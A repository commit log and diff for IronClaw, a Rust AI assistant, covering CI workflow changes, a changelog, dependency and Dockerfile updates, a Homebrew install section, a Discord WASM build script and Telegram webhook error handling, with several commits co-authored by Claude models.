* Add WASM channel compilation support to Docker build

- Copy channels-src/ into builder stage for Telegram/Slack/Discord/WhatsApp
- Install wasm32-wasip2 target and wasm-tools so build.rs can compile
  WASM channel components instead of silently skipping them

Co-Authored-By: Claude Opus 4.6 <[email protected]>

---------

Co-authored-by: Claude Opus 4.6 <[email protected]>
2026-02-23 22:37:52 +04:00
Rui ChenandGitHub 0d9b6f3208 docs: add brew install ironclaw instructions (#310)
Signed-off-by: Rui Chen <[email protected]>
2026-02-23 18:04:57 +00:00
4e2dd76ae5 Fix skills system: enable by default, fix registry and install (#300)
* feat: add Docker detection module with platform guidance

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* feat: add Docker sandbox step to setup wizard

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* feat: show Docker status in boot screen

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* feat: check Docker availability at startup

When SANDBOX_ENABLED=true, proactively detect whether Docker is
installed and running before creating the ContainerJobManager.
If Docker is unavailable, log a warning with platform-specific
guidance and disable the sandbox for the session.

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* feat: enable sandbox by default, improve wizard explanation, document detection limits

- SandboxConfig defaults to enabled=true (startup check disables
  gracefully if Docker is unavailable)
- Wizard step explains why Docker matters: isolation for LLM-generated
  code vs running directly on the host
- Document detection confidence per platform in detect.rs module docs:
  high on macOS/Linux, medium on Windows (named pipe edge cases)

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* fix: cargo fmt + update test_builder_defaults for enabled-by-default

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* fix: deduplicate wizard Docker status handling per review

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* feat: fix skills system - enable by default, fix registry connectivity and install

- Enable skills system by default (SKILLS_ENABLED no longer required)
- Bypass Vercel TLS fingerprint blocking by pointing DEFAULT_REGISTRY_URL
  directly at the Convex backend (wry-manatee-359.convex.site)
- Handle ZIP archives from ClawHub download API - the registry returns
  ZIP files containing SKILL.md, not raw text. Uses flate2 (existing dep)
  to extract SKILL.md from the archive.
- Surface catalog search errors in the UI with a yellow warning banner
  instead of silently returning empty results
- Handle both {"results":[...]} envelope and bare [...] array JSON formats
  from the search API
- Add ClawHub links and metadata to search result cards (clickable skill
  names linking to clawhub.ai, relevance score, "updated X ago" recency)
- Fix 3 pre-existing clippy warnings in tests/html_to_markdown.rs

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* fix: address security review feedback on ZIP extraction and SSRF

- Cap download size to 10 MB before reading response body
- Guard against ZIP bombs: cap uncompressed_size at 1 MB, wrap
  DeflateDecoder with .take() read limit
- Use checked_add for ZIP header offset arithmetic to prevent overflow
- Remove .unwrap() on try_into() -- use direct array construction
- Handle IPv4-mapped IPv6 addresses (::ffff:192.168.x.x) in SSRF checks
- Don't leak internal registry URLs in user-facing catalog_error messages
- Fix non-ASCII panic in catalog response debug logging (use .get() instead
  of byte slicing)

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* feat: add /skills command and enrich search results with ClawHub metadata

- Parse /skills and /skills search <query> as SystemCommands in submission.rs
- Add skill_catalog to AgentDeps and wire it through main.rs
- Handle "skills" command in commands.rs: list installed skills and search ClawHub
- Add /skills and /skills search <q> entries to /help output
- Add SkillDetail, SkillStats, SkillOwner structs to catalog.rs
- Add fetch_skill_detail() calling GET /api/v1/skills/{slug} on Convex backend
- Add enrich_search_results() to fetch stars/downloads/owner for top 5 results in parallel
- Fix SkillDetailResponse wrapper struct to match actual API shape: {"skill":{...},"owner":{...}}
- Surface stars, downloads, owner in web UI skill search cards (app.js)
- Surface enriched data in skills web handler and skill_search tool output

Co-Authored-By: Claude Sonnet 4.6 <[email protected]>

* fix: cargo fmt after merge conflict resolution

Co-Authored-By: Claude Sonnet 4.6 <[email protected]>

* fix: separate installed_skills dir for correct trust on restart, remove duplicate handlers

Trust level bug: skills installed from ClawHub were written to user_dir
(~/.ironclaw/skills/) which is discovered as Trusted on restart. Now installs
go to ~/.ironclaw/installed_skills/ which is discovered as Installed, matching
the documented skill directory layout.

Changes:
- SkillsConfig: add installed_dir field (SKILLS_INSTALLED_DIR env var,
  default ~/.ironclaw/installed_skills/)
- SkillRegistry: add with_installed_dir() builder, installed_dir()/
  install_target_dir() accessors, and discover installed_dir with
  SkillTrust::Installed in discover_all()
- All install paths (web handler, skill tool) use install_target_dir()
  instead of user_dir() so new installs land in the correct directory
- 3 new registry tests: test_installed_dir_uses_installed_trust,
  test_install_target_dir_prefers_installed_dir,
  test_user_dir_stays_trusted_with_installed_dir

Duplicate handler cleanup: handlers/skills.rs was the canonical implementation
but the handlers module was never compiled (not declared in web/mod.rs), so
server.rs had its own duplicate inline definitions that the router used.
Wire up the handlers module, delete the 260-line duplicate in server.rs, and
have server.rs import skills handlers from handlers::skills. Fix pre-existing
compile error in handlers/extensions.rs (missing needs_setup field). Add
#[allow(dead_code)] on not-yet-migrated handler modules to suppress warnings.

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* fix: probe more Docker socket paths on macOS

Docker Desktop 4.13+ (stabilised in 4.18) no longer creates the
/var/run/docker.sock symlink by default. The API socket lives at
~/.docker/run/docker.sock, which bollard's connect_with_local_defaults()
does not try.

Add a fallback probe list covering the common macOS container runtimes:
- ~/.docker/run/docker.sock   — Docker Desktop 4.13+
- ~/.colima/default/docker.sock — Colima
- ~/.rd/docker.sock             — Rancher Desktop

Remove the bogus ~/.docker/desktop/docker.sock path that was added
previously; it is not an API socket on any known Docker installation.

Fixes the false-negative "Docker is installed but not running" warning
reported by Illia on macOS with Docker Desktop 4.18+.

Co-Authored-By: Claude Sonnet 4.6 <[email protected]>

* Harden Docker detection for rootless Linux and Windows fallback

---------

Co-authored-by: Claude Opus 4.6 <[email protected]>
2026-02-23 10:04:02 -08:00
f4ba85ffa2 fix: fall back to build-from-source when extension download fails (#312)
* fix: fall back to build-from-source when extension download fails

Extension manifests hardcode GitHub release URLs for WASM artifacts,
but these artifacts are not yet published to any release. This causes
all WASM extension installs to fail with HTTP 404.

Add a fallback_source field to RegistryEntry so that when the primary
WasmDownload source fails (e.g., 404), the installer automatically
falls back to WasmBuildable (build from source). The manifest
conversion now populates this fallback whenever a download URL is set.

Fixes nearai/ironclaw#298

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* Address Copilot/Gemini review feedback

- Skip fallback for AlreadyInstalled errors (Gemini)
- Include both primary and fallback errors in combined message (Copilot)
- Fix comment to match broader behavior (any error, not just download) (Copilot)

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* Address serrrfirat review feedback

- Forward AlreadyInstalled from fallback directly instead of wrapping
  in ExtensionError::Other (defensive, prevents misleading error message)

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* Add unit tests for fallback install logic

Extract fallback_decision() and combine_install_errors() from
install_from_entry() to enable direct unit testing without requiring
a full ExtensionManager setup.

Tests cover:
- Primary success returns directly (no fallback attempted)
- AlreadyInstalled short-circuits (no fallback attempted)
- Download failure with fallback available triggers fallback
- Error without fallback source returns primary error
- Both-fail produces combined error with both messages
- AlreadyInstalled from fallback is forwarded directly

Co-Authored-By: Claude Opus 4.6 <[email protected]>

---------

Co-authored-by: Claude Opus 4.6 <[email protected]>
Co-authored-by: firat.sertgoz <[email protected]>
2026-02-23 06:51:43 -08:00
github-actions[bot]GitHubgithub-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com>
ebb4ce95e3 chore: release v0.11.1 (#319)
Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com>
2026-02-23 01:24:01 +00:00
Illia Polosukhin 27c9353eaa Ignore out-of-date generated CI so custom release.yml jobs are allowed 2026-02-22 16:51:24 -08:00
github-actions[bot]GitHubgithub-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com>
004906e582 chore: release v0.11.0 (#318)
Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com>
2026-02-23 00:41:14 +00:00
186 changed files with 25247 additions and 2108 deletions
+11
View File
@@ -75,6 +75,17 @@ HTTP_HOST=0.0.0.0
HTTP_PORT=8080
HTTP_WEBHOOK_SECRET=your-webhook-secret
# Signal Channel (optional, requires signal-cli daemon --http)
# SIGNAL_HTTP_URL=http://127.0.0.1:8080
# SIGNAL_ACCOUNT=+1234567890
# SIGNAL_ALLOW_FROM=+1234567890,uuid:xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx # comma-separated, * for all, empty = deny/require pairing
# SIGNAL_ALLOW_FROM_GROUPS= # comma-separated group IDs, * for all, empty = deny all groups
# SIGNAL_DM_POLICY=pairing # open | allowlist | pairing
# SIGNAL_GROUP_POLICY=allowlist # allowlist | open | disabled
# SIGNAL_GROUP_ALLOW_FROM= # comma-separated, empty = inherit from ALLOW_FROM
# SIGNAL_IGNORE_ATTACHMENTS=false
# SIGNAL_IGNORE_STORIES=true
# Agent Settings
AGENT_NAME=ironclaw
AGENT_MAX_PARALLEL_JOBS=5
+44 -8
View File
@@ -3,8 +3,8 @@ on:
pull_request:
jobs:
codestyle:
name: Code Style (fmt + clippy)
format:
name: Formatting
runs-on: ubuntu-latest
steps:
- name: Checkout repository
@@ -13,10 +13,46 @@ jobs:
uses: dtolnay/rust-toolchain@stable
with:
profile: minimal
components: rustfmt, clippy
- uses: Swatinem/rust-cache@v2
components: rustfmt
- name: Check formatting
run: |
cargo fmt --all -- --check
- name: Check lints (cargo clippy)
run: cargo clippy -- -D warnings
run: cargo fmt --all -- --check
clippy:
name: Clippy (${{ matrix.name }})
runs-on: ubuntu-latest
strategy:
fail-fast: false
matrix:
include:
- name: all-features
flags: "--all-features"
- name: default
flags: ""
- name: libsql-only
flags: "--no-default-features --features libsql"
steps:
- name: Checkout repository
uses: actions/checkout@v6
- name: Install Rust
uses: dtolnay/rust-toolchain@stable
with:
profile: minimal
components: clippy
- uses: Swatinem/rust-cache@v2
with:
key: clippy-${{ matrix.name }}
- name: Check lints
run: cargo clippy --all --benches --tests --examples ${{ matrix.flags }} -- -D warnings
# Roll-up job for branch protection
code-style:
name: Code Style (fmt + clippy)
runs-on: ubuntu-latest
if: always()
needs: [format, clippy]
steps:
- run: |
if [[ "${{ needs.format.result }}" != "success" || "${{ needs.clippy.result }}" != "success" ]]; then
echo "One or more jobs failed"
exit 1
fi
+50
View File
@@ -0,0 +1,50 @@
name: E2E Tests
on:
schedule:
- cron: "0 6 * * 1" # Weekly Monday 6 AM UTC
workflow_dispatch:
pull_request:
paths:
- "src/channels/web/**"
- "tests/e2e/**"
jobs:
e2e:
name: Browser E2E
runs-on: ubuntu-latest
timeout-minutes: 30
steps:
- uses: actions/checkout@v6
- uses: dtolnay/rust-toolchain@stable
- uses: actions/cache@v4
with:
path: |
target
~/.cargo/registry
key: e2e-${{ runner.os }}-${{ hashFiles('Cargo.lock') }}
- name: Build ironclaw (libsql)
run: cargo build --no-default-features --features libsql
- uses: actions/setup-python@v5
with:
python-version: "3.12"
- name: Install E2E dependencies
run: |
cd tests/e2e
pip install -e .
playwright install --with-deps chromium
- name: Run E2E tests
run: pytest tests/e2e/ -v -x --timeout=120
- name: Upload screenshots on failure
if: failure()
uses: actions/upload-artifact@v4
with:
name: e2e-screenshots
path: tests/e2e/screenshots/
if-no-files-found: ignore
+79 -2
View File
@@ -89,10 +89,12 @@ jobs:
# Build and packages all the platform-specific things
build-local-artifacts:
name: build-local-artifacts (${{ join(matrix.targets, ', ') }})
# Let the initial task tell us to not run (currently very blunt)
# Wait for WASM extensions so we can patch manifests with SHA256 checksums
# before build.rs bakes them into the embedded catalog.
needs:
- plan
if: ${{ fromJson(needs.plan.outputs.val).ci.github.artifacts_matrix.include != null && (needs.plan.outputs.publishing == 'true' || fromJson(needs.plan.outputs.val).ci.github.pr_run_mode == 'upload') }}
- build-wasm-extensions
if: ${{ fromJson(needs.plan.outputs.val).ci.github.artifacts_matrix.include != null && (needs.plan.outputs.publishing == 'true' || fromJson(needs.plan.outputs.val).ci.github.pr_run_mode == 'upload') && (needs.build-wasm-extensions.result == 'skipped' || needs.build-wasm-extensions.result == 'success') }}
strategy:
fail-fast: false
# Target platforms/runners are computed by dist in create-release.
@@ -139,6 +141,28 @@ jobs:
pattern: artifacts-*
path: target/distrib/
merge-multiple: true
- name: Patch manifests with WASM checksums
if: ${{ needs.plan.outputs.publishing == 'true' }}
shell: bash
run: |
CHECKSUMS="target/distrib/checksums.txt"
if [ ! -f "$CHECKSUMS" ]; then
echo "No checksums.txt found, skipping manifest patching"
exit 0
fi
while IFS= read -r line; do
sha256=$(echo "$line" | awk '{print $1}')
filename=$(echo "$line" | awk '{print $2}')
name=$(echo "$filename" | sed 's/-wasm32-wasip2\.tar\.gz$//')
for manifest in registry/tools/${name}.json registry/channels/${name}.json; do
if [ -f "$manifest" ]; then
jq --arg sha "$sha256" '.artifacts["wasm32-wasip2"].sha256 = $sha' "$manifest" > "${manifest}.tmp" && mv "${manifest}.tmp" "$manifest"
echo "Patched $manifest with sha256=$sha256"
fi
done
done < "$CHECKSUMS"
- name: Install dependencies
run: |
${{ matrix.packages_install }}
@@ -380,6 +404,59 @@ jobs:
gh release create "${{ needs.plan.outputs.tag }}" --target "$RELEASE_COMMIT" $PRERELEASE_FLAG --title "$ANNOUNCEMENT_TITLE" --notes-file "$RUNNER_TEMP/notes.txt" artifacts/*
# Commit patched manifest SHA256 checksums back to main so the repo
# stays in sync with the released artifacts.
update-registry-checksums:
needs:
- plan
- host
- build-wasm-extensions
if: ${{ always() && needs.host.result == 'success' && needs.build-wasm-extensions.result == 'success' }}
runs-on: "ubuntu-22.04"
env:
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
steps:
- uses: actions/checkout@v4
with:
ref: main
- name: Fetch WASM checksums
uses: actions/download-artifact@v4
with:
name: artifacts-wasm-extensions
path: target/wasm-bundles/
- name: Patch manifests with SHA256
shell: bash
run: |
CHECKSUMS="target/wasm-bundles/checksums.txt"
if [ ! -f "$CHECKSUMS" ]; then
echo "No checksums.txt found"
exit 0
fi
while IFS= read -r line; do
sha256=$(echo "$line" | awk '{print $1}')
filename=$(echo "$line" | awk '{print $2}')
name=$(echo "$filename" | sed 's/-wasm32-wasip2\.tar\.gz$//')
for manifest in registry/tools/${name}.json registry/channels/${name}.json; do
if [ -f "$manifest" ]; then
jq --arg sha "$sha256" '.artifacts["wasm32-wasip2"].sha256 = $sha' "$manifest" > "${manifest}.tmp" && mv "${manifest}.tmp" "$manifest"
echo "Patched $manifest with sha256=$sha256"
fi
done
done < "$CHECKSUMS"
- name: Commit updated manifests
run: |
git config user.name "github-actions[bot]"
git config user.email "github-actions[bot]@users.noreply.github.com"
git add registry/
if git diff --cached --quiet; then
echo "No manifest changes to commit"
else
git commit -m "chore: update WASM artifact SHA256 checksums [skip ci]"
git push
fi
announce:
needs:
- plan
+49 -3
View File
@@ -7,7 +7,33 @@ on:
jobs:
tests:
name: Run Tests
name: Tests (${{ matrix.name }})
runs-on: ubuntu-latest
strategy:
fail-fast: false
matrix:
include:
- name: all-features
flags: "--all-features"
- name: default
flags: ""
- name: libsql-only
flags: "--no-default-features --features libsql"
steps:
- name: Checkout repository
uses: actions/checkout@v6
- name: Install Rust
uses: dtolnay/rust-toolchain@stable
with:
profile: minimal
- uses: Swatinem/rust-cache@v2
with:
key: ${{ matrix.name }}
- name: Run Tests
run: cargo test ${{ matrix.flags }} -- --nocapture
telegram-tests:
name: Telegram Channel Tests
runs-on: ubuntu-latest
steps:
- name: Checkout repository
@@ -17,7 +43,27 @@ jobs:
with:
profile: minimal
- uses: Swatinem/rust-cache@v2
- name: Run Tests
run: cargo test --all-features -- --nocapture
- name: Run Telegram Channel Tests
run: cargo test --manifest-path channels-src/telegram/Cargo.toml -- --nocapture
docker-build:
name: Docker Build
runs-on: ubuntu-latest
steps:
- name: Checkout repository
uses: actions/checkout@v6
- name: Build Docker image
run: docker build -t ironclaw-test:ci .
# Roll-up job for branch protection
run-tests:
name: Run Tests
runs-on: ubuntu-latest
if: always()
needs: [tests, telegram-tests, docker-build]
steps:
- run: |
if [[ "${{ needs.tests.result }}" != "success" || "${{ needs.telegram-tests.result }}" != "success" || "${{ needs.docker-build.result }}" != "success" ]]; then
echo "One or more jobs failed"
exit 1
fi
+96
View File
@@ -7,6 +7,102 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0
## [Unreleased]
## [0.13.1](https://github.com/nearai/ironclaw/compare/v0.13.0...v0.13.1) - 2026-03-02
### Added
- add Brave Web Search WASM tool ([#474](https://github.com/nearai/ironclaw/pull/474))
### Fixed
- *(web)* auto-scroll and Enter key completion for slash command autocomplete ([#475](https://github.com/nearai/ironclaw/pull/475))
- correct download URLs for telegram-mtproto and slack-tool extensions ([#470](https://github.com/nearai/ironclaw/pull/470))
## [0.13.0](https://github.com/nearai/ironclaw/compare/v0.12.0...v0.13.0) - 2026-03-02
### Added
- *(cli)* add tool setup command + GitHub setup schema ([#438](https://github.com/nearai/ironclaw/pull/438))
- add web_fetch built-in tool ([#435](https://github.com/nearai/ironclaw/pull/435))
- *(web)* DB-backed Jobs tab + scheduler-dispatched local jobs ([#436](https://github.com/nearai/ironclaw/pull/436))
- *(extensions)* add OAuth setup UI for WASM tools + display name labels ([#437](https://github.com/nearai/ironclaw/pull/437))
- *(bootstrap)* auto-detect libsql when ironclaw.db exists ([#399](https://github.com/nearai/ironclaw/pull/399))
- *(web)* slash command autocomplete + /status /list + fix chat input locking ([#404](https://github.com/nearai/ironclaw/pull/404))
- *(routines)* deliver notifications to all installed channels ([#398](https://github.com/nearai/ironclaw/pull/398))
- *(web)* persist tool calls, restore approvals on thread switch, and UI fixes ([#382](https://github.com/nearai/ironclaw/pull/382))
- add IRONCLAW_BASE_DIR env var with LazyLock caching ([#397](https://github.com/nearai/ironclaw/pull/397))
- feat(signal) attachment upload + message tool ([#375](https://github.com/nearai/ironclaw/pull/375))
### Fixed
- *(channels)* add host-based credential injection to WASM channel wrapper ([#421](https://github.com/nearai/ironclaw/pull/421))
- pre-validate Cloudflare tunnel token by spawning cloudflared ([#446](https://github.com/nearai/ironclaw/pull/446))
- batch of quick fixes (#417, #338, #330, #358, #419, #344) ([#428](https://github.com/nearai/ironclaw/pull/428))
- persist channel activation state across restarts ([#432](https://github.com/nearai/ironclaw/pull/432))
- init WASM runtime eagerly regardless of tools directory existence ([#401](https://github.com/nearai/ironclaw/pull/401))
- add TLS support for PostgreSQL connections ([#363](https://github.com/nearai/ironclaw/pull/363)) ([#427](https://github.com/nearai/ironclaw/pull/427))
- scan inbound messages for leaked secrets ([#433](https://github.com/nearai/ironclaw/pull/433))
- use tailscale funnel --bg for proper tunnel setup ([#430](https://github.com/nearai/ironclaw/pull/430))
- normalize secret names to lowercase for case-insensitive matching ([#413](https://github.com/nearai/ironclaw/pull/413)) ([#431](https://github.com/nearai/ironclaw/pull/431))
- persist model name to .env so dotted names survive restart ([#426](https://github.com/nearai/ironclaw/pull/426))
- *(setup)* check cloudflared binary and validate tunnel token ([#424](https://github.com/nearai/ironclaw/pull/424))
- *(setup)* validate PostgreSQL version and pgvector availability before migrations ([#423](https://github.com/nearai/ironclaw/pull/423))
- guard zsh compdef call to prevent error before compinit ([#422](https://github.com/nearai/ironclaw/pull/422))
- *(telegram)* remove restart button, validate token on setup ([#434](https://github.com/nearai/ironclaw/pull/434))
- web UI routines tab shows all routines regardless of creating channel ([#391](https://github.com/nearai/ironclaw/pull/391))
- Discord Ed25519 signature verification and capabilities header alias ([#148](https://github.com/nearai/ironclaw/pull/148)) ([#372](https://github.com/nearai/ironclaw/pull/372))
- prevent duplicate WASM channel activation on startup ([#390](https://github.com/nearai/ironclaw/pull/390))
### Other
- rename WasmBuildable::repo_url to source_dir ([#445](https://github.com/nearai/ironclaw/pull/445))
- Improve --help: add detailed about/examples/color, snapshot test (clo… ([#371](https://github.com/nearai/ironclaw/pull/371))
- Add automated QA: schema validator, CI matrix, Docker build, and P1 test coverage ([#353](https://github.com/nearai/ironclaw/pull/353))
## [0.12.0](https://github.com/nearai/ironclaw/compare/v0.11.1...v0.12.0) - 2026-02-26
### Added
- *(web)* improve WASM channel setup flow ([#380](https://github.com/nearai/ironclaw/pull/380))
- *(web)* inline tool activity cards with auto-collapsing ([#376](https://github.com/nearai/ironclaw/pull/376))
- *(web)* display logs newest-first in web gateway UI ([#369](https://github.com/nearai/ironclaw/pull/369))
- *(signal)* tool approval workflow and status updates ([#350](https://github.com/nearai/ironclaw/pull/350))
- add OpenRouter preset to setup wizard ([#270](https://github.com/nearai/ironclaw/pull/270))
- *(channels)* add native Signal channel via signal-cli HTTP daemon ([#271](https://github.com/nearai/ironclaw/pull/271))
### Fixed
- correct MCP registry URLs and remove non-existent Google endpoints ([#370](https://github.com/nearai/ironclaw/pull/370))
- resolve_thread adopts existing session threads by UUID ([#377](https://github.com/nearai/ironclaw/pull/377))
- resolve telegram/slack name collision between tool and channel registries ([#346](https://github.com/nearai/ironclaw/pull/346))
- make onboarding installs prefer release artifacts with source fallback ([#323](https://github.com/nearai/ironclaw/pull/323))
- copy missing files in Dockerfile to fix build ([#322](https://github.com/nearai/ironclaw/pull/322))
- fall back to build-from-source when extension download fails ([#312](https://github.com/nearai/ironclaw/pull/312))
### Other
- Add --version flag with clap built-in support and test ([#342](https://github.com/nearai/ironclaw/pull/342))
- Update FEATURE_PARITY.md ([#337](https://github.com/nearai/ironclaw/pull/337))
- add brew install ironclaw instructions ([#310](https://github.com/nearai/ironclaw/pull/310))
- Fix skills system: enable by default, fix registry and install ([#300](https://github.com/nearai/ironclaw/pull/300))
## [0.11.1](https://github.com/nearai/ironclaw/compare/v0.11.0...v0.11.1) - 2026-02-23
### Other
- Ignore out-of-date generated CI so custom release.yml jobs are allowed
## [0.11.0](https://github.com/nearai/ironclaw/compare/v0.10.0...v0.11.0) - 2026-02-23
### Fixed
- auto-compact and retry on ContextLengthExceeded ([#315](https://github.com/nearai/ironclaw/pull/315))
### Other
- *(README)* Adding badges to readme ([#316](https://github.com/nearai/ironclaw/pull/316))
- Feat/completion ([#240](https://github.com/nearai/ironclaw/pull/240))
## [0.10.0](https://github.com/nearai/ironclaw/compare/v0.9.0...v0.10.0) - 2026-02-22
### Added
Generated
+377 -144
View File
File diff suppressed because it is too large Load Diff
+14 -2
View File
@@ -19,7 +19,7 @@ exclude = [
[package]
name = "ironclaw"
version = "0.10.0"
version = "0.13.1"
edition = "2024"
rust-version = "1.92"
description = "Secure personal AI assistant that protects your data and expands its capabilities on the fly"
@@ -52,6 +52,9 @@ deadpool-postgres = { version = "0.14", optional = true }
tokio-postgres = { version = "0.7", features = ["with-uuid-1", "with-chrono-0_4", "with-serde_json-1"], optional = true }
postgres-types = { version = "0.2", features = ["with-serde_json-1"], optional = true }
refinery = { version = "0.8", features = ["tokio-postgres"], optional = true }
tokio-postgres-rustls = { version = "0.13", optional = true }
rustls = { version = "0.23", optional = true, default-features = false }
rustls-native-certs = { version = "0.8", optional = true }
# Database - libSQL/Turso (optional embedded database)
libsql = { version = "0.6", optional = true, default-features = false, features = ["core", "replication"] }
@@ -69,7 +72,7 @@ dotenvy = "0.15"
toml = "0.8"
# Core types
uuid = { version = "1", features = ["v4", "serde"] }
uuid = { version = "1", features = ["v4", "v5", "serde"] }
chrono = { version = "0.4", features = ["serde"] }
rust_decimal = { version = "1", features = ["serde", "serde-with-str", "maths"] }
rust_decimal_macros = "1"
@@ -149,10 +152,13 @@ bytes = "1"
base64 = "0.22.1"
mime_guess = "2.0.5"
clap_complete = "4.5.0"
lru = "0.16.3"
# HTML to Markdown conversion (feature gated)
html-to-markdown-rs = { version = "2.3", optional = true }
readabilityrs = { version = "0.1.2", optional = true }
ed25519-dalek = { version = "2.2.0", features = ["std"] }
hex = "0.4.3"
# macOS keychain
[target.'cfg(target_os = "macos")'.dependencies]
@@ -169,12 +175,16 @@ tokio-tungstenite = "0.26"
testcontainers-modules = { version = "0.11", features = ["postgres"] }
pretty_assertions = "1"
tempfile = "3"
insta = "1.46.3"
[features]
default = ["postgres", "libsql", "html-to-markdown"]
postgres = [
"dep:deadpool-postgres",
"dep:tokio-postgres",
"dep:tokio-postgres-rustls",
"dep:rustls",
"dep:rustls-native-certs",
"dep:postgres-types",
"dep:refinery",
"dep:pgvector",
@@ -197,6 +207,8 @@ lto = "thin"
[workspace.metadata.dist]
# The preferred dist version to use in CI (Cargo.toml SemVer syntax)
cargo-dist-version = "0.30.3"
# Ignore out-of-date generated CI so custom release.yml jobs are allowed
allow-dirty = ["ci"]
# CI backends to support
ci = "github"
# The installers to generate for each app
+8 -2
View File
@@ -11,16 +11,22 @@ FROM rust:1.92-slim-bookworm AS builder
RUN apt-get update && apt-get install -y --no-install-recommends \
pkg-config libssl-dev cmake gcc g++ \
&& rm -rf /var/lib/apt/lists/*
&& rm -rf /var/lib/apt/lists/* \
&& rustup target add wasm32-wasip2 \
&& cargo install wasm-tools
WORKDIR /app
# Copy manifests first for layer caching
COPY Cargo.toml Cargo.lock ./
# Copy source and build artifacts
# Copy source, build script, tests, and supporting directories
COPY build.rs build.rs
COPY src/ src/
COPY tests/ tests/
COPY migrations/ migrations/
COPY registry/ registry/
COPY channels-src/ channels-src/
COPY wit/ wit/
RUN cargo build --release --bin ironclaw
+2 -3
View File
@@ -68,7 +68,7 @@ This document tracks feature parity between IronClaw (Rust implementation) and O
| WhatsApp | ✅ | ❌ | P1 | Baileys (Web), same-phone mode with echo detection |
| Telegram | ✅ | ✅ | - | WASM channel(MTProto), DM pairing, caption, /start, bot_username |
| Discord | ✅ | ❌ | P2 | discord.js, thread parent binding inheritance |
| Signal | ✅ | | P2 | signal-cli |
| Signal | ✅ | | P2 | signal-cli daemonPC, SSE listener HTTP/JSON-R, user/group allowlists, DM pairing |
| Slack | ✅ | ✅ | - | WASM tool |
| iMessage | ✅ | ❌ | P3 | BlueBubbles or Linq recommended |
| Linq | ✅ | ❌ | P3 | Real iMessage via API, no Mac required |
@@ -158,7 +158,7 @@ This document tracks feature parity between IronClaw (Rust implementation) and O
| `doctor` | ✅ | ❌ | P2 | Diagnostics |
| `logs` | ✅ | ❌ | P3 | Query logs |
| `update` | ✅ | ❌ | P3 | Self-update |
| `completion` | ✅ | | P3 | Shell completion |
| `completion` | ✅ | | - | Shell completion |
| `/subagents spawn` | ✅ | ❌ | P3 | Spawn subagents from chat |
| `/export-session` | ✅ | ❌ | P3 | Export current session transcript |
@@ -540,7 +540,6 @@ This document tracks feature parity between IronClaw (Rust implementation) and O
### P3 - Lower Priority
- ❌ Discord channel
- ❌ Signal channel
- ❌ Matrix channel
- ❌ Other messaging platforms
- ❌ TTS/audio features
+9
View File
@@ -105,6 +105,15 @@ curl --proto '=https' --tlsv1.2 -LsSf https://github.com/nearai/ironclaw/release
```
</details>
<details>
<summary>Install via Homebrew (macOS/Linux)</summary>
```sh
brew install ironclaw
```
</details>
<details>
<summary>Compile the source code (Cargo on Windows, Linux, macOS)</summary>
+48
View File
@@ -0,0 +1,48 @@
#!/usr/bin/env bash
# Build the Discord channel WASM component
#
# Prerequisites:
# - Rust with wasm32-wasip2 target: rustup target add wasm32-wasip2
# - wasm-tools for component creation: cargo install wasm-tools
#
# Output:
# - discord.wasm - WASM component ready for deployment
# - discord.capabilities.json - Capabilities file (copy alongside .wasm)
set -euo pipefail
cd "$(dirname "$0")"
if ! command -v wasm-tools &> /dev/null; then
echo "Error: wasm-tools not found. Install with: cargo install wasm-tools"
exit 1
fi
echo "Building Discord channel WASM component..."
# Build the WASM module
cargo build --release --target wasm32-wasip2
# Convert to component model (if not already a component)
# wasm-tools component new is idempotent on components
WASM_PATH="target/wasm32-wasip2/release/discord_channel.wasm"
if [ -f "$WASM_PATH" ]; then
# Create component if needed
wasm-tools component new "$WASM_PATH" -o discord.wasm 2>/dev/null || cp "$WASM_PATH" discord.wasm
# Optimize the component
wasm-tools strip discord.wasm -o discord.wasm
echo "Built: discord.wasm ($(du -h discord.wasm | cut -f1))"
echo ""
echo "To install:"
echo " mkdir -p ~/.ironclaw/channels"
echo " cp discord.wasm discord.capabilities.json ~/.ironclaw/channels/"
echo ""
echo "Then add your bot token to secrets:"
echo " # Set discord_bot_token and discord_public_key in your environment or secrets store"
else
echo "Error: WASM output not found at $WASM_PATH"
exit 1
fi
@@ -8,6 +8,11 @@
"name": "discord_bot_token",
"prompt": "Enter your Discord Bot Token (from Developer Portal)",
"optional": false
},
{
"name": "discord_public_key",
"prompt": "Enter your Discord Application Public Key (from Developer Portal > General Information)",
"optional": false
}
]
},
@@ -39,6 +44,9 @@
"emit_rate_limit": {
"messages_per_minute": 100,
"messages_per_hour": 5000
},
"webhook": {
"signature_key_secret_name": "discord_public_key"
}
}
},
+63 -42
View File
@@ -373,19 +373,19 @@ impl Guest for TelegramChannel {
"Webhook mode enabled (tunnel configured)",
);
// Register webhook with Telegram API
// Register webhook with Telegram API — propagate errors so a bad token
// causes activation to fail rather than silently succeeding.
if let Some(ref tunnel_url) = config.tunnel_url {
// Clear any stale webhook first to avoid 409 Conflict
let _ = delete_webhook();
channel_host::log(
channel_host::LogLevel::Info,
&format!("Registering webhook: {}/webhook/telegram", tunnel_url),
);
if let Err(e) = register_webhook(tunnel_url, config.webhook_secret.as_deref()) {
channel_host::log(
channel_host::LogLevel::Error,
&format!("Failed to register webhook: {}", e),
);
}
register_webhook(tunnel_url, config.webhook_secret.as_deref())
.map_err(|e| format!("Failed to register webhook: {}", e))?;
}
} else {
channel_host::log(
@@ -393,14 +393,10 @@ impl Guest for TelegramChannel {
"Polling mode enabled (no tunnel configured)",
);
// Delete any existing webhook before polling
// Telegram doesn't allow getUpdates while a webhook is active
if let Err(e) = delete_webhook() {
channel_host::log(
channel_host::LogLevel::Warn,
